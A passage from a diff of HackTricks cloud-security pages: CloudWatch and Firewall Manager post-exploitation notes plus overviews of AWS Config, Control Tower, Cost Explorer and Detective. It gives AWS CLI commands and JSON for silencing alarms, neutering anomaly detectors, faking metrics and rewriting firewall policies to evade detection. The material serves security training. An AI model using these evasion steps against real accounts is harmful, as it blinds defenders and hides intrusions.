By deleting alarm actions, the attacker could prevent critical alerts and automated responses from being triggered when an alarm state is reached, such as notifying administrators or triggering auto-scaling activities. Enabling or re-enabling alarm actions inappropriately could also lead to unexpected behaviors, either by reactivating previously disabled actions or by modifying which actions are triggered, potentially causing confusion and misdirection in incident response.
|
||||
|
||||
In addition, an attacker with the permission could manipulate alarm states, being able to create false alarms to distract and confuse administrators, or silence genuine alarms to hide ongoing malicious activities or critical system failures.
|
||||
|
||||
- If you use **`SetAlarmState`** on a composite alarm, the composite alarm is not guaranteed to return to its actual state. It returns to its actual state only once any of its children alarms change state. It is also reevaluated if you update its configuration.
|
||||
|
||||
```bash
|
||||
aws cloudwatch disable-alarm-actions --alarm-names <value>
|
||||
aws cloudwatch enable-alarm-actions --alarm-names <value>
|
||||
aws cloudwatch set-alarm-state --alarm-name <value> --state-value <OK | ALARM | INSUFFICIENT_DATA> --state-reason <value> [--state-reason-data <value>]
|
||||
```
|
||||
|
||||
**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents.
|
||||
|
||||
### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
|
||||
|
||||
An attacker would be able to compromise the ability of detection and respond to unusual patterns or anomalies in metric data. By deleting existing anomaly detectors, an attacker could disable critical alerting mechanisms; and by creating or modifying them, it would be able either to misconfigure or create false positives in order to distract or overwhelm the monitoring.
|
||||
|
||||
```bash
|
||||
aws cloudwatch delete-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value>]
|
||||
aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value> --configuration <value> --metric-characteristics <value>]
|
||||
```
|
||||
|
||||
The following example shows how to make a metric anomaly detector ineffective. This metric anomaly detector monitors the average CPU utilization of a specific EC2 instance, and just by adding the “ExcludedTimeRanges” parameter with the desired time range, it would be enough to ensure that the anomaly detector does not analyze or alert on any relevant data during that period.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Original Metric Anomaly Detector" }}
|
||||
|
||||
```json
|
||||
{
|
||||
"SingleMetricAnomalyDetector": {
|
||||
"Namespace": "AWS/EC2",
|
||||
"MetricName": "CPUUtilization",
|
||||
"Stat": "Average",
|
||||
"Dimensions": [
|
||||
{
|
||||
"Name": "InstanceId",
|
||||
"Value": "i-0123456789abcdefg"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Modified Metric Anomaly Detector" }}
|
||||
|
||||
```json
|
||||
{
|
||||
"SingleMetricAnomalyDetector": {
|
||||
"Namespace": "AWS/EC2",
|
||||
"MetricName": "CPUUtilization",
|
||||
"Stat": "Average",
|
||||
"Dimensions": [
|
||||
{
|
||||
"Name": "InstanceId",
|
||||
"Value": "i-0123456789abcdefg"
|
||||
}
|
||||
]
|
||||
},
|
||||
"Configuration": {
|
||||
"ExcludedTimeRanges": [
|
||||
{
|
||||
"StartTime": "2023-01-01T00:00:00Z",
|
||||
"EndTime": "2053-01-01T23:59:59Z"
|
||||
}
|
||||
],
|
||||
"Timezone": "Europe/Madrid"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact**: Direct effect in the detection of unusual patterns or security threats.
|
||||
|
||||
### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`**
|
||||
|
||||
An attacker would be able to compromise the monitoring and visualization capabilities of an organization by creating, modifying or deleting its dashboards. This permissions could be leveraged to remove critical visibility into the performance and health of systems, alter dashboards to display incorrect data or hide malicious activities.
|
||||
|
||||
```bash
|
||||
aws cloudwatch delete-dashboards --dashboard-names <value>
|
||||
aws cloudwatch put-dashboard --dashboard-name <value> --dashboard-body <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Loss of monitoring visibility and misleading information.
|
||||
|
||||
### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`**
|
||||
|
||||
Insight rules are used to detect anomalies, optimize performance, and manage resources effectively. By deleting existing insight rules, an attacker could remove critical monitoring capabilities, leaving the system blind to performance issues and security threats. Additionally, an attacker could create or modify insight rules to generate misleading data or hide malicious activities, leading to incorrect diagnostics and inappropriate responses from the operations team.
|
||||
|
||||
```bash
|
||||
aws cloudwatch delete-insight-rules --rule-names <value>
|
||||
aws cloudwatch put-insight-rule --rule-name <value> --rule-definition <value> [--rule-state <value>]
|
||||
aws cloudwatch put-managed-insight-rules --managed-rules <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Difficulty to detect and respond to performance issues and anomalies, misinformed decision-making and potentially hiding malicious activities or system failures.
|
||||
|
||||
### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**
|
||||
|
||||
By disabling critical insight rules, an attacker could effectively blind the organization to key performance and security metrics. Conversely, by enabling or configuring misleading rules, it could be possible to generate false data, create noise, or hide malicious activity.
|
||||
|
||||
```bash
|
||||
aws cloudwatch disable-insight-rules --rule-names <value>
|
||||
aws cloudwatch enable-insight-rules --rule-names <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Confusion among the operations team, leading to delayed responses to actual issues and unnecessary actions based on false alerts.
|
||||
|
||||
### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`**
|
||||
|
||||
An attacker with the **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** permissions would be able to create and delete metric data streams, compromising the security, monitoring and data integrity:
|
||||
|
||||
- **Create malicious streams**: Create metric streams to send sensitive data to unauthorized destinations.
|
||||
- **Resource manipulation**: The creation of new metric streams with excessive data could produce a lot of noise, causing incorrect alerts, masking true issues.
|
||||
- **Monitoring disruption**: Deleting metric streams, attackers would disrupt the continuos flow of monitoring data. This way, their malicious activities would be effectively hidden.
|
||||
|
||||
Similarly, with the **`cloudwatch:PutMetricData`** permission, it would be possible to add data to a metric stream. This could lead to a DoS because of the amount of improper data added, making it completely useless.
|
||||
|
||||
```bash
|
||||
aws cloudwatch delete-metric-stream --name <value>
|
||||
aws cloudwatch put-metric-stream --name <value> [--include-filters <value>] [--exclude-filters <value>] --firehose-arn <value> --role-arn <value> --output-format <value>
|
||||
aws cloudwatch put-metric-data --namespace <value> [--metric-data <value>] [--metric-name <value>] [--timestamp <value>] [--unit <value>] [--value <value>] [--dimensions <value>]
|
||||
```
|
||||
|
||||
Example of adding data corresponding to a 70% of a CPU utilization over a given EC2 instance:
|
||||
|
||||
```bash
|
||||
aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg"
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents, resource manipulation and costs increasing due to the creation of excessive metric streams.
|
||||
|
||||
### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`**
|
||||
|
||||
An attacker would control the flow of the affected metric data streams (every data stream if there is no resource restriction). With the permission **`cloudwatch:StopMetricStreams`**, attackers could hide their malicious activities by stopping critical metric streams.
|
||||
|
||||
```bash
|
||||
aws cloudwatch stop-metric-streams --names <value>
|
||||
aws cloudwatch start-metric-streams --names <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents.
|
||||
|
||||
### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`**
|
||||
|
||||
An attacker would be able to add, modify, or remove tags from CloudWatch resources (currently only alarms and Contributor Insights rules). This could disrupting your organization's access control policies based on tags.
|
||||
|
||||
```bash
|
||||
aws cloudwatch tag-resource --resource-arn <value> --tags <value>
|
||||
aws cloudwatch untag-resource --resource-arn <value> --tag-keys <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of tag-based access control policies.
|
||||
|
||||
## References
|
||||
|
||||
- [https://cloudsecdocs.com/aws/services/logging/cloudwatch/](https://cloudsecdocs.com/aws/services/logging/cloudwatch/#general-info)
|
||||
- [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html)
|
||||
- [https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric](https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,46 @@
|
||||
# AWS - Config Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AWS Config
|
||||
|
||||
AWS Config **capture resource changes**, so any change to a resource supported by Config can be recorded, which will **record what changed along with other useful metadata, all held within a file known as a configuration item**, a CI. This service is **region specific**.
|
||||
|
||||
A configuration item or **CI** as it's known, is a key component of AWS Config. It is comprised of a JSON file that **holds the configuration information, relationship information and other metadata as a point-in-time snapshot view of a supported resource**. All the information that AWS Config can record for a resource is captured within the CI. A CI is created **every time** a supported resource has a change made to its configuration in any way. In addition to recording the details of the affected resource, AWS Config will also record CIs for any directly related resources to ensure the change did not affect those resources too.
|
||||
|
||||
- **Metadata**: Contains details about the configuration item itself. A version ID and a configuration ID, which uniquely identifies the CI. Ither information can include a MD5Hash that allows you to compare other CIs already recorded against the same resource.
|
||||
- **Attributes**: This holds common **attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance
|
||||
- **Relationships**: This holds information for any connected **relationship that the resource may have**. So within this section, it would show a clear description of any relationship to other resources that this resource had. For example, if the CI was for an EC2 instance, the relationship section may show the connection to a VPC along with the subnet that the EC2 instance resides in.
|
||||
- **Current configuration:** This will display the same information that would be generated if you were to perform a describe or list API call made by the AWS CLI. AWS Config uses the same API calls to get the same information.
|
||||
- **Related events**: This relates to AWS CloudTrail. This will display the **AWS CloudTrail event ID that is related to the change that triggered the creation of this CI**. There is a new CI made for every change made against a resource. As a result, different CloudTrail event IDs will be created.
|
||||
|
||||
**Configuration History**: It's possible to obtain the configuration history of resources thanks to the configurations items. A configuration history is delivered every 6 hours and contains all CI's for a particular resource type.
|
||||
|
||||
**Configuration Streams**: Configuration items are sent to an SNS Topic to enable analysis of the data.
|
||||
|
||||
**Configuration Snapshots**: Configuration items are used to create a point in time snapshot of all supported resources.
|
||||
|
||||
**S3 is used to store** the Configuration History files and any Configuration snapshots of your data within a single bucket, which is defined within the Configuration recorder. If you have multiple AWS accounts you may want to aggregate your configuration history files into the same S3 bucket for your primary account. However, you'll need to grant write access for this service principle, config.amazonaws.com, and your secondary accounts with write access to the S3 bucket in your primary account.
|
||||
|
||||
### Functioning
|
||||
|
||||
- When make changes, for example to security group or bucket access control list —> fire off as an Event picked up by AWS Config
|
||||
- Stores everything in S3 bucket
|
||||
- Depending on the setup, as soon as something changes it could trigger a lambda function OR schedule lambda function to periodically look through the AWS Config settings
|
||||
- Lambda feeds back to Config
|
||||
- If rule has been broken, Config fires up an SNS
|
||||
|
||||
.png>)
|
||||
|
||||
### Config Rules
|
||||
|
||||
Config rules are a great way to help you **enforce specific compliance checks** **and controls across your resources**, and allows you to adopt an ideal deployment specification for each of your resource types. Each rule **is essentially a lambda function** that when called upon evaluates the resource and carries out some simple logic to determine the compliance result with the rule. **Each time a change is made** to one of your supported resources, **AWS Config will check the compliance against any config rules that you have in place**.\
|
||||
AWS have a number of **predefined rules** that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted.
|
||||
|
||||
- **AWS Managed rules**: Set of predefined rules that cover a lot of best practices, so it's always worth browsing these rules first before setting up your own as there is a chance that the rule may already exist.
|
||||
- **Custom rules**: You can create your own rules to check specific customconfigurations.
|
||||
|
||||
Limit of 50 config rules per region before you need to contact AWS for an increase.\
|
||||
Non compliant results are NOT deleted.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,42 @@
|
||||
# AWS - Control Tower Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Control Tower
|
||||
|
||||
> [!NOTE]
|
||||
> In summary, Control Tower is a service that allows to define policies for all your accounts inside your org. So instead of managing each of the you can set policies from Control Tower that will be applied on them.
|
||||
|
||||
AWS Control Tower is a **service provided by Amazon Web Services (AWS)** that enables organizations to set up and govern a secure, compliant, multi-account environment in AWS.
|
||||
|
||||
AWS Control Tower provides a **pre-defined set of best-practice blueprints** that can be customized to meet specific **organizational requirements**. These blueprints include pre-configured AWS services and features, such as AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, and AWS Service Catalog.
|
||||
|
||||
With AWS Control Tower, administrators can quickly set up a **multi-account environment that meets organizational requirements**, such as **security** and compliance. The service provides a central dashboard to view and manage accounts and resources, and it also automates the provisioning of accounts, services, and policies.
|
||||
|
||||
In addition, AWS Control Tower provides guardrails, which are a set of pre-configured policies that ensure the environment remains compliant with organizational requirements. These policies can be customized to meet specific needs.
|
||||
|
||||
Overall, AWS Control Tower simplifies the process of setting up and managing a secure, compliant, multi-account environment in AWS, making it easier for organizations to focus on their core business objectives.
|
||||
|
||||
### Enumeration
|
||||
|
||||
For enumerating controltower controls, you first need to **have enumerated the org**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
```bash
|
||||
# Get controls applied in an account
|
||||
aws controltower list-enabled-controls --target-identifier arn:aws:organizations::<acc_id>:ou/<ou-id>
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Control Tower can also use **Account factory** to execute **CloudFormation templates** in **accounts and run services** (privesc, post-exploitation...) in those accounts
|
||||
|
||||
### Post Exploitation & Persistence
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-control-tower-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,15 @@
|
||||
# AWS - Cost Explorer Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cost Explorer and Anomaly detection
|
||||
|
||||
This allows you to check **how are you expending money in AWS services** and help you **detecting anomalies**.\
|
||||
Moreover, you can configure an anomaly detection so AWS will warn you when some a**nomaly in costs is found**.
|
||||
|
||||
### Budgets
|
||||
|
||||
Budgets help to **manage costs and usage**. You can get **alerted when a threshold is reached**.\
|
||||
Also, they can be used for non cost related monitoring like the usage of a service (how many GB are used in a particular S3 bucket?).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,16 @@
|
||||
# AWS - Detective Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Detective
|
||||
|
||||
**Amazon Detective** streamlines the security investigation process, making it more efficient to **analyze, investigate, and pinpoint the root cause** of security issues or unusual activities. It automates the collection of log data from AWS resources and employs **machine learning, statistical analysis, and graph theory** to construct an interconnected data set. This setup greatly enhances the speed and effectiveness of security investigations.
|
||||
|
||||
The service eases in-depth exploration of security incidents, allowing security teams to swiftly understand and address the underlying causes of issues. Amazon Detective analyzes vast amounts of data from sources like VPC Flow Logs, AWS CloudTrail, and Amazon GuardDuty. It automatically generates a **comprehensive, interactive view of resources, users, and their interactions over time**. This integrated perspective provides all necessary details and context in one location, enabling teams to discern the reasons behind security findings, examine pertinent historical activities, and rapidly determine the root cause.
|
||||
|
||||
## References
|
||||
|
||||
- [https://aws.amazon.com/detective/](https://aws.amazon.com/detective/)
|
||||
- [https://cloudsecdocs.com/aws/services/logging/other/#detective](https://cloudsecdocs.com/aws/services/logging/other/#detective)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,309 @@
|
||||
# AWS - Firewall Manager Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Firewall Manager
|
||||
|
||||
**AWS Firewall Manager** streamlines the management and maintenance of **AWS WAF, AWS Shield Advanced, Amazon VPC security groups and Network Access Control Lists (ACLs), and AWS Network Firewall, AWS Route 53 Resolver DNS Firewall and third-party firewalls** across multiple accounts and resources. It enables you to configure your firewall rules, Shield Advanced protections, VPC security groups, and Network Firewall settings just once, with the service **automatically enforcing these rules and protections across your accounts and resources**, including newly added ones.
|
||||
|
||||
The service offers the capability to **group and safeguard specific resources together**, like those sharing a common tag or all your CloudFront distributions. A significant advantage of Firewall Manager is its ability to **automatically extend protection to newly added resources** in your account.
|
||||
|
||||
A **rule group** (a collection of WAF rules) can be incorporated into an AWS Firewall Manager Policy, which is then linked to specific AWS resources such as CloudFront distributions or application load balancers.
|
||||
|
||||
AWS Firewall Manager provides **managed application and protocol lists** to simplify the configuration and management of security group policies. These lists allow you to define the protocols and applications permitted or denied by your policies. There are two types of managed lists:
|
||||
|
||||
- **Firewall Manager managed lists**: These lists include **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** and **FMS-Default-Protocols-Allowed**. They are managed by Firewall Manager and include commonly used applications and protocols that should be allowed or denied to the general public. It is not possible to edit or delete them, however, you can choose its version.
|
||||
- **Custom managed lists**: You manage these lists yourself. You can create custom application and protocol lists tailored to your organization's needs. Unlike Firewall Manager managed lists, these lists do not have versions, but you have full control over custom lists, allowing you to create, edit, and delete them as required.
|
||||
|
||||
It's important to note that **Firewall Manager policies permit only "Block" or "Count" actions** for a rule group, without an "Allow" option.
|
||||
|
||||
### Prerequisites
|
||||
|
||||
The following prerequisite steps must be completed before proceeding to configure Firewall Manager to begin protecting your organization's resources effectively. These steps provide the foundational setup required for Firewall Manager to enforce security policies and ensure compliance across your AWS environment:
|
||||
|
||||
1. **Join and configure AWS Organizations:** Ensure your AWS account is part of the AWS Organizations organization where the AWS Firewall Manager policies are planned to be implanted. This allows for centralized management of resources and policies across multiple AWS accounts within the organization.
|
||||
2. **Create an AWS Firewall Manager Default Administrator Account:** Establish a default administrator account specifically for managing Firewall Manager security policies. This account will be responsible for configuring and enforcing security policies across the organization. Just the management account of the organization is able to create Firewall Manager default administrator accounts.
|
||||
3. **Enable AWS Config:** Activate AWS Config to provide Firewall Manager with the necessary configuration data and insights required to effectively enforce security policies. AWS Config helps analyze, audit, monitor and audit resource configurations and changes, facilitating better security management.
|
||||
4. **For Third-Party Policies, Subscribe in the AWS Marketplace and Configure Third-Party Settings:** If you plan to utilize third-party firewall policies, subscribe to them in the AWS Marketplace and configure the necessary settings. This step ensures that Firewall Manager can integrate and enforce policies from trusted third-party vendors.
|
||||
5. **For Network Firewall and DNS Firewall Policies, enable resource sharing:** Enable resource sharing specifically for Network Firewall and DNS Firewall policies. This allows Firewall Manager to apply firewall protections to your organization's VPCs and DNS resolution, enhancing network security.
|
||||
6. **To use AWS Firewall Manager in Regions that are disabled by default:** If you intend to use Firewall Manager in AWS regions that are disabled by default, ensure that you take the necessary steps to enable its functionality in those regions. This ensures consistent security enforcement across all regions where your organization operates.
|
||||
|
||||
For more information, check: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html).
|
||||
|
||||
### Types of protection policies
|
||||
|
||||
AWS Firewall Manager manages several types of policies to enforce security controls across different aspects of your organization's infrastructure:
|
||||
|
||||
1. **AWS WAF Policy:** This policy type supports both AWS WAF and AWS WAF Classic. You can define which resources are protected by the policy. For AWS WAF policies, you can specify sets of rule groups to run first and last in the web ACL. Additionally, account owners can add rules and rule groups to run in between these sets.
|
||||
2. **Shield Advanced Policy:** This policy applies Shield Advanced protections across your organization for specified resource types. It helps safeguard against DDoS attacks and other threats.
|
||||
3. **Amazon VPC Security Group Policy:** With this policy, you can manage security groups used throughout your organization, enforcing a baseline set of rules across your AWS environment to control network access.
|
||||
4. **Amazon VPC Network Access Control List (ACL) Policy:** This policy type gives you control over network ACLs used in your organization, allowing you to enforce a baseline set of network ACLs across your AWS environment.
|
||||
5. **Network Firewall Policy:** This policy applies AWS Network Firewall protection to your organization's VPCs, enhancing network security by filtering traffic based on predefined rules.
|
||||
6. **Amazon Route 53 Resolver DNS Firewall Policy:** This policy applies DNS Firewall protections to your organization's VPCs, helping to block malicious domain resolution attempts and enforce security policies for DNS traffic.
|
||||
7. **Third-Party Firewall Policy:** This policy type applies protections from third-party firewalls, which are available by subscription through the AWS Marketplace console. It allows you to integrate additional security measures from trusted vendors into your AWS environment.
|
||||
1. **Palo Alto Networks Cloud NGFW Policy:** This policy applies Palo Alto Networks Cloud Next Generation Firewall (NGFW) protections and rulestacks to your organization's VPCs, providing advanced threat prevention and application-level security controls.
|
||||
2. **Fortigate Cloud Native Firewall (CNF) as a Service Policy:** This policy applies Fortigate Cloud Native Firewall (CNF) as a Service protections, offering industry-leading threat prevention, web application firewall (WAF), and API protection tailored for cloud infrastructures.
|
||||
|
||||
### Administrator accounts
|
||||
|
||||
AWS Firewall Manager offers flexibility in managing firewall resources within your organization through its administrative scope and two types of administrator accounts.
|
||||
|
||||
**Administrative scope defines the resources that a Firewall Manager administrator can manage**. After an AWS Organizations management account onboards an organization to Firewall Manager, it can create additional administrators with different administrative scopes. These scopes can include:
|
||||
|
||||
- Accounts or organizational units (OUs) that the administrator can apply policies to.
|
||||
- Regions where the administrator can perform actions.
|
||||
- Firewall Manager policy types that the administrator can manage.
|
||||
|
||||
Administrative scope can be either **full or restricted**. Full scope grants the administrator access to **all specified resource types, regions, and policy types**. In contrast, **restricted scope provides administrative permission to only a subset of resources, regions, or policy types**. It's advisable to grant administrators only the permissions they need to fulfill their roles effectively. You can apply any combination of these administrative scope conditions to an administrator, ensuring adherence to the principle of least privilege.
|
||||
|
||||
There are two distinct types of administrator accounts, each serving specific roles and responsibilities:
|
||||
|
||||
- **Default Administrator:**
|
||||
- The default administrator account is created by the AWS Organizations organization's management account during the onboarding process to Firewall Manager.
|
||||
- This account has the capability to manage third-party firewalls and possesses full administrative scope.
|
||||
- It serves as the primary administrator account for Firewall Manager, responsible for configuring and enforcing security policies across the organization.
|
||||
- While the default administrator has full access to all resource types and administrative functionalities, it operates at the same peer level as other administrators if multiple administrators are utilized within the organization.
|
||||
- **Firewall Manager Administrators:**
|
||||
- These administrators can manage resources within the scope designated by the AWS Organizations management account, as defined by the administrative scope configuration.
|
||||
- Firewall Manager administrators are created to fulfill specific roles within the organization, allowing for delegation of responsibilities while maintaining security and compliance standards.
|
||||
- Upon creation, Firewall Manager checks with AWS Organizations to determine if the account is already a delegated administrator. If not, Firewall Manager calls Organizations to designate the account as a delegated administrator for Firewall Manager.
|
||||
|
||||
Managing these administrator accounts involves creating them within Firewall Manager and defining their administrative scopes according to the organization's security requirements and the principle of least privilege. By assigning appropriate administrative roles, organizations can ensure effective security management while maintaining granular control over access to sensitive resources.
|
||||
|
||||
It is important to highlight that **only one account within an organization can serve as the Firewall Manager default administrator**, adhering to the principle of "**first in, last out**". To designate a new default administrator, a series of steps must be followed:
|
||||
|
||||
- First, each Firewall Administrator administrator account must revoke their own account.
|
||||
- Then, the existing default administrator can revoke their own account, effectively offboarding the organization from Firewall Manager. This process results in the deletion of all Firewall Manager policies created by the revoked account.
|
||||
- To conclude, the AWS Organizations management account must designate the Firewall Manager dafault administrator.
|
||||
|
||||
## Enumeration
|
||||
|
||||
```
|
||||
# Users/Administrators
|
||||
|
||||
## Get the AWS Organizations account that is associated with AWS Firewall Manager as the AWS Firewall Manager default administrator
|
||||
aws fms get-admin-account
|
||||
|
||||
## List of Firewall Manager administrators within the organization
|
||||
aws fms list-admin-accounts-for-organization # ReadOnlyAccess policy is not enough for this
|
||||
|
||||
## Return a list of the member accounts in the FM administrator's AWS organization
|
||||
aws fms list-member-accounts # Only a Firewall Manager administrator or the Organization's management account can make this request
|
||||
|
||||
## List the accounts that are managing the specified AWS Organizations member account
|
||||
aws fms list-admins-managing-account # ReadOnlyAccess policy is not enough for this
|
||||
|
||||
# Resources
|
||||
|
||||
## Get the resources that a Firewall Manager administrator can manage
|
||||
aws fms get-admin-scope --admin-account <value> # ReadOnlyAccess policy is not enough for this
|
||||
|
||||
## Returns the summary of the resource sets used
|
||||
aws fms list-resource-sets # ReadOnlyAccess policy is not enough for this
|
||||
|
||||
## Get information about a specific resource set
|
||||
aws fms get-resource-set --identifier <value> # ReadOnlyAccess policy is not enough for this
|
||||
|
||||
## Retrieve the list of tags for a given resource
|
||||
aws fms list-tags-for-resource --resource-arn <value>
|
||||
|
||||
## List of the resources in the AWS Organization's accounts that are available to be associated with a FM resource set. Only one account is supported per request.
|
||||
aws fms list-compliance-status --member-account-ids <value> --resource-type <value> # ReadOnlyAccess policy is not enough for this
|
||||
|
||||
## List the resources that are currently associated to a resource set
|
||||
aws fms list-resource-set-resources --identifier <value> # ReadOnlyAccess policy is not enough for this
|
||||
|
||||
# Policies
|
||||
|
||||
## Returns the list of policies
|
||||
aws fms list-policies
|
||||
|
||||
## Get information about the specified AWS Firewall Manager policy
|
||||
aws fms get-policy --policy-id <value>
|
||||
|
||||
## List all of the third-party firewall policies that are associated with the third-party firewall administrator's account
|
||||
aws fms list-third-party-firewall-firewall-policies --third-party-firewall <PALO_ALTO_NETWORKS_CLOUD_NGFW|FORTIGATE_CLOUD_NATIVE_FIREWALL> # ReadOnlyAccess policy is not enough for this
|
||||
|
||||
# AppsList
|
||||
|
||||
## Return a list of apps list
|
||||
aws fms list-apps-lists --max-results [1-100]
|
||||
|
||||
## Get information about the specified AWS Firewall Manager applications list
|
||||
aws fms get-apps-list --list-id <value>
|
||||
|
||||
# Protocols
|
||||
|
||||
## Get the details of the Firewall Manager protocols list.
|
||||
aws fms list-protocols-lists
|
||||
|
||||
## Get information about the specified AWS Firewall Manager Protocols list
|
||||
aws fms get-protocols-list --list-id <value>
|
||||
|
||||
# Compliance
|
||||
|
||||
## Return a summary of which member accounts are protected by the specified policy
|
||||
aws fms list-compliance-status --policy-id <policy-id>
|
||||
|
||||
## Get detailed compliance information about the specified member account (resources that are in and out of compliance with the specified policy)
|
||||
aws fms get-compliance-detail --policy-id <value> --member-account <value>
|
||||
|
||||
# Other useful info
|
||||
|
||||
## Get information about the SNS topic that is used to record AWS Firewall Manager SNS logs (if any)
|
||||
aws fms get-notification-channel
|
||||
|
||||
## Get policy-level attack summary information in the event of a potential DDoS attack
|
||||
aws fms get-protection-status --policy-id <value> # Just for Shield Advanced policy
|
||||
|
||||
## Get the onboarding status of a Firewall Manager admin account to third-party firewall vendor tenant.
|
||||
aws fms get-third-party-firewall-association-status --third-party-firewall <PALO_ALTO_NETWORKS_CLOUD_NGFW|FORTIGATE_CLOUD_NATIVE_FIREWALL> # ReadOnlyAccess policy is not enough for this
|
||||
|
||||
## Get violations' details for a resource based on the specified AWS Firewall Manager policy and AWS account.
|
||||
aws fms get-violation-details --policy-id <value> --member-account <value> --resource-id <value> --resource-type <value>
|
||||
```
|
||||
|
||||
## Post Exploitation / Bypass Detection
|
||||
|
||||
### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`)
|
||||
|
||||
An attacker with the **`fms:AssociateAdminAccount`** permission would be able to set the Firewall Manager default administrator account. With the **`fms:PutAdminAccount`** permission, an attacker would be able to create or updatea Firewall Manager administrator account and with the **`fms:DisassociateAdminAccount`** permission, a potential attacker could remove the current Firewall Manager administrator account association.
|
||||
|
||||
- The disassociation of the **Firewall Manager default administrator follows the first-in-last-out policy**. All the Firewall Manager administrators must disassociate before the Firewall Manager default administrator can disassociate the account.
|
||||
- In order to create a Firewall Manager administrator by **PutAdminAccount**, the account must belong to the organization that was previously onboarded to Firewall Manager using **AssociateAdminAccount**.
|
||||
- The creation of a Firewall Manager administrator account can only be done by the organization's management account.
|
||||
|
||||
```bash
|
||||
aws fms associate-admin-account --admin-account <value>
|
||||
aws fms disassociate-admin-account
|
||||
aws fms put-admin-account --admin-account <value>
|
||||
```
|
||||
|
||||
**Potential Impact:** Loss of centralized management, policy evasion, compliance violations, and disruption of security controls within the environment.
|
||||
|
||||
### `fms:PutPolicy`, `fms:DeletePolicy`
|
||||
|
||||
An attacker with the **`fms:PutPolicy`**, **`fms:DeletePolicy`** permissions would be able to create, modify or permanently delete an AWS Firewall Manager policy.
|
||||
|
||||
```bash
|
||||
aws fms put-policy --policy <value> | --cli-input-json file://<policy.json> [--tag-list <value>]
|
||||
aws fms delete-policy --policy-id <value> [--delete-all-policy-resources | --no-delete-all-policy-resources]
|
||||
```
|
||||
|
||||
An example of permisive policy through permisive security group, in order to bypass the detection, could be the following one:
|
||||
|
||||
```json
|
||||
{
|
||||
"Policy": {
|
||||
"PolicyName": "permisive_policy",
|
||||
"SecurityServicePolicyData": {
|
||||
"Type": "SECURITY_GROUPS_COMMON",
|
||||
"ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"<permisive_security_group_id>\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}"
|
||||
},
|
||||
"ResourceTypeList": [
|
||||
"AWS::EC2::Instance",
|
||||
"AWS::EC2::NetworkInterface",
|
||||
"AWS::EC2::SecurityGroup",
|
||||
"AWS::ElasticLoadBalancingV2::LoadBalancer",
|
||||
"AWS::ElasticLoadBalancing::LoadBalancer"
|
||||
],
|
||||
